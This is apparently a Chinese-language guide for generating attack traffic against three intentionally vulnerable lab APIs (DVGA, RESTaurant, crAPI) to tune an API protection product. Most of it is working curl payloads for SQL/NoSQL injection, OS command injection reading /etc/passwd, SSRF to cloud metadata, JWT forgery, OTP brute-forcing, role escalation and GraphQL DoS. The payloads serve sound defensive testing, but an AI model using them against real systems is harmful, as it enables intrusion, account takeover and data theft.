跳到內容

API 測試指南

本指南收錄了三個 API 安全測試應用程式中所有 API 端點、已知漏洞及攻擊酬載。可用於建立 F5 XC API 保護設定檔開發的流量生成模式。

應用程式協定路徑埠號驗證漏洞
DVGAGraphQL/dvga/80無(管理員:admin/password)25 個情境
RESTaurantREST (FastAPI)/restaurant/80JWT(表單編碼)7 個 OWASP API 2023 類別
crAPIREST(微服務)/8888JWT(Bearer)18+ 個挑戰
Terminal window
ORIGIN="http://<ORIGIN_IP>"
CRAPI="http://<ORIGIN_IP>:8888"

DVGA(Damn Vulnerable GraphQL Application)

Section titled “DVGA(Damn Vulnerable GraphQL Application)”

GraphQL 端點: POST ${ORIGIN}/dvga/graphql GraphiQL IDE: GET ${ORIGIN}/dvga/ 管理員憑證: admin / password

所有 DVGA 操作均使用單一端點(/dvga/graphql),以包含 JSON {"query":"..."} 酬載的 POST 請求進行。

Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnostics
Mutations: createPaste, importPaste, uploadPaste
Types: PasteObject (id, title, content, public, owner, ipAddr, userAgent)
OwnerObject (id, username, pastes) ← circular reference
操作類型驗證用途
pastes(public, filter, limit)Query列出貼文(filter 參數存在 SQL 注入)
paste(id)Query取得單一貼文
me(token)Query依 JWT 取得使用者(可被偽造)
systemHealthQuery健康檢查
systemUpdateQuery緩慢查詢(約 82 秒,DoS 攻擊向量)
systemDiagnostics(cmd)Queryadmin/password執行白名單 OS 指令
createPaste(title, content, public)Mutation建立貼文(content 存在 XSS)
importPaste(host, port, path, scheme)Mutation匯入遠端貼文(SSRF、指令注入)
uploadPaste(filename, content)Mutation上傳貼文(路徑遍歷)

批次查詢攻擊:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'

深度遞迴(Owner/Paste 循環參考):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'

資源密集查詢(約 82 秒回應):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemUpdate}"}'

欄位重複(重複欄位 500 次以上):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'

別名攻擊(1000 個別名操作):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'

內省(完整結構描述枚舉):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'

欄位建議(錯字揭露有效欄位):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{titl}}"}'

透過 importPaste 進行 SSRF(探測內部服務):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'

透過 filter 參數進行 SQL 注入:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'

透過 createPaste 進行儲存型 XSS:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'

日誌注入(操作名稱偽造):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'

透過 importPaste 進行 OS 指令注入:

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'

透過 systemDiagnostics 執行 OS 指令(需要管理員驗證):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'

JWT Token 偽造(接受未簽署的 Token):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'

透過 uploadPaste 任意寫入檔案(路徑遍歷):

Terminal window
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'

RESTaurant API(Damn Vulnerable RESTaurant)

Section titled “RESTaurant API(Damn Vulnerable RESTaurant)”

Swagger UI: ${ORIGIN}/restaurant/docs OpenAPI 規格: ${ORIGIN}/restaurant/openapi.json 驗證: 透過表單編碼 POST 至 /restaurant/token 取得 JWT 角色: Customer(預設)、Employee、Chef(管理員)

Terminal window
# 註冊測試使用者
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# 取得 JWT Token(注意:使用表單編碼,非 JSON)
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"
端點方法驗證角色漏洞
/restaurant/registerPOST使用者建立
/restaurant/tokenPOSTJWT 弱密鑰(97952)
/restaurant/healthcheckGET健康檢查
/restaurant/profileGET任意使用者設定檔
/restaurant/profilePUT任意BOLA(修改其他使用者)
/restaurant/profilePATCH任意BOPLA(大量指派角色)
/restaurant/users/update_rolePUT任意BFLA(角色提權)
/restaurant/menuGET任意列出菜單項目
/restaurant/menuPUTEmployee 以上建立菜單(圖片存在 SSRF
/restaurant/menu/{item_id}PUTEmployee 以上更新菜單(圖片存在 SSRF
/restaurant/menu/{item_id}DELETE任意BFLA(任意使用者可刪除)
/restaurant/ordersGET任意BOLA(查看所有訂單)
/restaurant/ordersPOST任意建立訂單
/restaurant/orders/{order_id}GET任意BOLA(存取其他訂單)
/restaurant/orders/status/{order_id}GET任意訂單狀態
/restaurant/admin/stats/diskGETChef指令注入
/restaurant/reset-passwordPOST密碼重設請求
/restaurant/reset-password/new-passwordPOST設定新密碼
/restaurant/referral-codeGET任意取得推薦碼
/restaurant/apply-referralPOST任意套用推薦碼
/restaurant/discount-couponsGET任意列出優惠券

API1:2023 — 物件層級授權缺陷(BOLA)

Section titled “API1:2023 — 物件層級授權缺陷(BOLA)”

修改其他使用者的設定檔:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'

存取其他使用者的訂單(枚舉 offset):

Terminal window
for i in 1 2 3 4 5; do
curl -sf ${ORIGIN}/restaurant/orders/${i} \
-H "Authorization: Bearer ${TOKEN}" 2>&1
echo ""
done

JWT 弱密鑰暴力破解(密鑰為 6 位數:97952):

Terminal window
# 在 jwt.io 解碼並偽造 Token
# 密鑰:97952(可使用 hashcat -a 3 -m 16500 token '?d?d?d?d?d?d' 暴力破解)
# 偽造 Chef Token:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"chef","exp":9999999999}
# 使用密鑰 97952 簽署

API3:2023 — 物件屬性層級授權缺陷(BOPLA)

Section titled “API3:2023 — 物件屬性層級授權缺陷(BOPLA)”

大量指派角色,從 Customer 升為 Chef:

Terminal window
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

提權路徑:Customer → Employee → Chef:

Terminal window
# 步驟 1:提權至 Employee
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Employee"}'
# 步驟 2:提權至 Chef
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

API5:2023 — 功能層級授權缺陷(BFLA)

Section titled “API5:2023 — 功能層級授權缺陷(BFLA)”

以 Customer 身份刪除菜單項目(應需要 Employee 以上角色):

Terminal window
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \
-H "Authorization: Bearer ${TOKEN}"

變更其他使用者的角色:

Terminal window
curl -X PUT ${ORIGIN}/restaurant/users/update_role \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","role":"Customer"}'

API7:2023 — 伺服器端請求偽造(SSRF)

Section titled “API7:2023 — 伺服器端請求偽造(SSRF)”

透過菜單 image_url 探測內部端點(需要 Employee 角色):

Terminal window
# 先透過 BOPLA 提權至 Employee,然後:
curl -X PUT ${ORIGIN}/restaurant/menu \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'

透過磁碟統計資訊進行 OS 指令注入(需要 Chef 角色):

Terminal window
# 提權至 Chef 後:
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \
-H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \
-H "Authorization: Bearer ${TOKEN}"
Terminal window
# 1. 註冊
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. 取得 Token
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. 提權至 Chef(BOPLA)
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'
# 4. 重新驗證以取得 Chef 層級的 Token
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. 指令注入(RCE)
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \
-H "Authorization: Bearer ${TOKEN}"

crAPI(OWASP Completely Ridiculous API)

Section titled “crAPI(OWASP Completely Ridiculous API)”

Web UI: ${CRAPI}/ MailHog: ${CRAPI}/mailhog/(用於驗證信件擷取的電子郵件捕獲服務) 驗證: JWT Bearer Token(RS256,易受演算法混淆攻擊) 架構: 7 個微服務(identity、community、workshop、postgres、mongo、mailhog、web)

設定:註冊、驗證電子郵件、登入

Section titled “設定:註冊、驗證電子郵件、登入”
Terminal window
# 1. 註冊
curl -X POST ${CRAPI}/identity/api/auth/signup \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. 在 MailHog 中查看驗證信
# 瀏覽 ${CRAPI}/mailhog/ 或使用 MailHog API:
curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "
import sys,json
msgs = json.load(sys.stdin)['items']
for m in msgs:
print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")
"
# 3. 登入並取得 JWT Token
TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"
端點方法驗證漏洞
/identity/api/auth/signupPOST使用者註冊
/identity/api/auth/loginPOSTJWT Token(演算法混淆)
/identity/api/auth/forget-passwordPOST請求 OTP
/identity/api/auth/v2/check-otpPOST無速率限制(暴力破解 4 位數 OTP)
/identity/api/auth/v3/check-otpPOST有速率限制的版本
/identity/api/v2/user/dashboardGET使用者設定檔
/identity/api/v2/user/change-emailPUT電子郵件變更
/identity/api/v2/vehicle/vehiclesGET列出車輛(洩露 UUID)
/identity/api/v2/vehicle/{uuid}/locationGETBOLA(任意使用者的車輛)
/identity/api/v2/user/videosPOST影片上傳
/identity/api/v2/user/videos/{id}GET資料洩露(conversion_params)
/identity/api/v2/user/videos/{id}PUT大量指派(指令注入)
/identity/api/v2/admin/videos/{id}DELETEBFLA(無管理員驗證)
端點方法驗證漏洞
/community/api/v2/community/postsGET資料洩露(洩露 vehicle_id、email)
/community/api/v2/community/postsPOST建立部落格文章
/community/api/v2/community/posts/{id}/commentsPOST新增留言
/community/api/v2/coupon/validate-couponPOSTNoSQL 注入
端點方法驗證漏洞
/workshop/api/mechanicGET資料洩露(技師電子郵件)
/workshop/api/mechanic/mechanic_reportGETBOLA(無驗證,循序 ID)
/workshop/api/merchant/contact_mechanicPOSTSSRF + DoS
/workshop/api/shop/productsGET產品目錄
/workshop/api/shop/orders/POST建立訂單
/workshop/api/shop/orders/allGET列出訂單
/workshop/api/shop/orders/{id}GETBOLA(無需驗證)
/workshop/api/shop/orders/{id}PUT大量指派(status、quantity)
/workshop/api/shop/apply_couponPOSTSQL 注入

挑戰 1 — BOLA:存取其他使用者的車輛位置

Section titled “挑戰 1 — BOLA:存取其他使用者的車輛位置”
Terminal window
# 先取得您的車輛 UUID
curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \
-H "Authorization: Bearer ${TOKEN}"
# 存取其他使用者的車輛(替換 UUID)
curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \
-H "Authorization: Bearer ${TOKEN}"

挑戰 2 — BOLA:存取技師報告(無需驗證)

Section titled “挑戰 2 — BOLA:存取技師報告(無需驗證)”
Terminal window
# 循序 ID 枚舉——無需 Token
for i in 1 2 3 4 5; do
echo "Report $i:"
curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}"
echo ""
done

挑戰 3 — 身份驗證缺陷:暴力破解密碼重設 OTP

Section titled “挑戰 3 — 身份驗證缺陷:暴力破解密碼重設 OTP”
Terminal window
# 對受害者請求 OTP
curl -X POST ${CRAPI}/identity/api/auth/forget-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}'
# 暴力破解 4 位數 OTP(v2 無速率限制)
for otp in $(seq -w 0000 9999); do
RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1)
echo "$otp: $RESULT" | grep -v "Invalid OTP" && break
done

挑戰 4 — 資料洩露:洩露技師電子郵件

Section titled “挑戰 4 — 資料洩露:洩露技師電子郵件”
Terminal window
curl -sf ${CRAPI}/workshop/api/mechanic \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool

挑戰 5 — 資料洩露:內部影片轉換參數

Section titled “挑戰 5 — 資料洩露:內部影片轉換參數”
Terminal window
# 上傳影片後,檢查回應
curl -sf ${CRAPI}/identity/api/v2/user/videos \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool
# 在回應中尋找 conversion_params 欄位

挑戰 6 — DoS:透過聯絡技師進行第 7 層攻擊

Section titled “挑戰 6 — DoS:透過聯絡技師進行第 7 層攻擊”
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"Engine issue",
"vin":"VEHICLE_VIN",
"mechanic_api":"http://localhost:8080/api",
"repeat_request_if_failed":true,
"number_of_repeats":100
}'

挑戰 7 — BFLA:透過管理員端點刪除影片

Section titled “挑戰 7 — BFLA:透過管理員端點刪除影片”
Terminal window
# 一般使用者可存取管理員端點
curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \
-H "Authorization: Bearer ${TOKEN}"

挑戰 8 與 9 — 大量指派:透過訂單操控取得免費商品

Section titled “挑戰 8 與 9 — 大量指派:透過訂單操控取得免費商品”
Terminal window
# 將 GET 改為 PUT,修改 status 與 quantity
curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"status":"returned","quantity":100}'

挑戰 10 — 透過影片轉換參數進行指令注入

Section titled “挑戰 10 — 透過影片轉換參數進行指令注入”
Terminal window
curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'

挑戰 11 — 透過聯絡技師進行 SSRF

Section titled “挑戰 11 — 透過聯絡技師進行 SSRF”
Terminal window
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"test",
"vin":"VIN123",
"mechanic_api":"http://169.254.169.254/latest/meta-data/",
"repeat_request_if_failed":false,
"number_of_repeats":0
}'

挑戰 12 — NoSQL 注入:擷取優惠券代碼

Section titled “挑戰 12 — NoSQL 注入:擷取優惠券代碼”
Terminal window
curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"coupon_code":{"$ne":1}}'

挑戰 13 — SQL 注入:多次兌換優惠券

Section titled “挑戰 13 — SQL 注入:多次兌換優惠券”
Terminal window
curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"
Terminal window
# 無 Authorization 標頭——仍然回傳資料
for i in 1 2 3 4 5; do
curl -sf ${CRAPI}/workshop/api/shop/orders/${i}
echo ""
done
Terminal window
# 使用演算法「none」偽造 JWT(無簽章驗證):
# 1. 設定 Header:{"alg":"none","typ":"JWT"} 並以 base64url 編碼
# 2. 設定 Payload:{"email":"admin@example.com","role":"admin"} 並以 base64url 編碼
# 3. 以點號連接,留空簽章:<header>.<payload>.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \
-H "Authorization: Bearer ${FORGED}"

OWASP 類別DVGARESTaurantcrAPI
API1: BOLAPUT /profileGET /orders/{id}車輛位置、技師報告、訂單
API2: 身份驗證缺陷JWT 偽造(me 查詢)JWT 弱密鑰(97952)OTP 暴力破解(v2)、JWT 演算法混淆
API3: BOPLAPATCH /profile(角色提權)影片 conversion_params、技師電子郵件洩露
API4: 資源消耗批次、遞迴、別名、欄位重複 DoS透過回應長度枚舉使用者contact_mechanic repeat_request DoS
API5: BFLADELETE /menuPUT /users/update_role以一般使用者身份呼叫 DELETE /admin/videos
API6: 大量指派PUT /orders(status、quantity)訂單 status/quantity、影片 conversion_params
API7: SSRFimportPaste mutationPUT /menu image_urlcontact_mechanic mechanic_api URL
API8: 注入SQL(filter)、XSS(content)、OS 指令(importPastesystemDiagnosticsOS 指令(/admin/stats/disk?parameters=NoSQL(validate-coupon)、SQL(apply_coupon
API9: 不當資產管理已棄用的 /auth/v2/check-otp(無速率限制)
API10: 不安全的第三方消費(透過 SSRF 間接觸發)
GraphQL 專屬內省、批次查詢、遞迴、別名、欄位重複、循環片段

第一階段:基準線(正常路徑)

Section titled “第一階段:基準線(正常路徑)”

在測試攻擊模式之前,先產生合法流量以建立正常 API 行為基準。

DVGA 基準線:

Terminal window
# 正常查詢
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'

RESTaurant 基準線:

Terminal window
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"
curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"
curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'

crAPI 基準線:

Terminal window
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"

第二階段:依 OWASP 類別分類的攻擊流量

Section titled “第二階段:依 OWASP 類別分類的攻擊流量”

BOLA 測試: 枚舉循序 ID、在請求中替換使用者識別碼、無擁有權地存取資源。

注入測試: 在 filter/coupon 參數中放入 SQL 酬載、GraphQL 查詢注入、透過參數欄位進行 OS 指令注入。

驗證繞過測試: 偽造 JWT Token、暴力破解 OTP、使用已棄用的 API 版本、演算法混淆。

SSRF 測試:importPasteimage_urlmechanic_api 參數中放入內部 URL。

DoS 測試: GraphQL 批次/遞迴/別名攻擊、以高次數搭配 repeat_request_if_failed

部分攻擊需要具備狀態的多步驟序列:

  1. RESTaurant 提權鏈: 註冊 → 取得 Token → PATCH 角色至 Chef → 重新驗證 → 指令注入
  2. crAPI 完整流程: 註冊 → 驗證電子郵件(MailHog)→ 登入 → 新增車輛 → 聯絡技師(SSRF)→ 訂單操控
  3. DVGA 偵察至利用: 內省 → 發現 systemDiagnostics → 暴力破解管理員憑證 → OS 指令執行
模式請求數/秒持續時間備註
基準線(每個應用程式)10–505 分鐘建立正常流量指紋
BOLA 枚舉100–5002 分鐘循序 ID 掃描
OTP 暴力破解1000+直到找到為止最多 10,000 次嘗試(4 位數)
GraphQL DoS10–5030 秒每個請求對伺服器端的消耗均較高
注入模糊測試50–2005 分鐘每次請求變換酬載
SSRF 探測5–202 分鐘速度較慢;每次觸發伺服器端 HTTP 請求